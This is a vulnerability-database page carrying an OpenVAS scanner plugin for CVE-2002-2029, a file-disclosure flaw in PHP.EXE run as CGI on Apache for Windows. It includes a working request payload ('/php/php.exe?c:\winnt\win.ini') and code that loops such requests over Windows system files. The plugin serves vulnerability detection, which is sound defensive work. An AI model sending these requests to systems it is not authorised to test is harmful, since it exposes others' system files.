Lucene search
+L

PHP.EXE / Apache HTTP Server Win32 Arbitrary File Reading Vulnerability - Active Check

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2002 Matt MooreType 
openvas
 openvas
🔗 plugins.openvas.org👁 25 Views

PHP.EXE / Apache HTTP Server Win32 Arbitrary File Reading Vulnerability. Installation text creates security vulnerability, allowing arbitrary files to be read from the host running PHP

Related
Refs
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2002-2029
14 Jul 200504:00
cve
Cvelist
CVE-2002-2029
14 Jul 200504:00
cvelist
Exploit DB
Apache 1.3.20 (Win32) - 'PHP.exe' Remote File Disclosure
4 Jan 200200:00
exploitdb
NVD
CVE-2002-2029
31 Dec 200205:00
nvd
OpenVAS
PHP.EXE / Apache Win32 Arbitrary File Reading Vulnerability
3 Nov 200500:00
openvas
Tenable Nessus
Apache Win32 ScriptAlias php.exe Arbitrary File Access
25 Jan 200200:00
nessus
RedhatCVE
CVE-2002-2029
21 May 202520:30
redhatcve
# SPDX-FileCopyrightText: 2002 Matt Moore
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

CPE = "cpe:/a:php:php";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10839");
  script_version("2025-04-30T05:39:51+0000");
  script_tag(name:"last_modification", value:"2025-04-30 05:39:51 +0000 (Wed, 30 Apr 2025)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2002-2029");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("PHP.EXE / Apache HTTP Server Win32 Arbitrary File Reading Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2002 Matt Moore");
  script_family("Web application abuses");
  script_dependencies("gb_php_http_detect.nasl", "gb_apache_http_server_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("php/http/detected", "apache/http_server/http/detected", "Host/runs_windows");

  script_xref(name:"URL", value:"http://www.securitytracker.com/alerts/2002/Jan/1003104.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/3786");

  script_tag(name:"summary", value:"A configuration vulnerability exists for PHP.EXE cgi
  running on Apache HTTP Server for Win32 platforms.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"It is reported that the installation text recommends
  configuration options in httpd.conf that create a security vulnerability, allowing
  arbitrary files to be read from the host running PHP. Remote users can directly execute
  the PHP binary:

  /php/php.exe?c:\winnt\win.ini");

  script_tag(name:"solution", value:"Obtain the latest version of PHP.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("traversal_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

files = traversal_files( "windows" );

foreach pattern( keys( files ) ) {

  file = files[pattern];
  file = str_replace( find:"/", string:file, replace:"\" );
  url  = "/php/php.exe?c:\" + file;

  if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation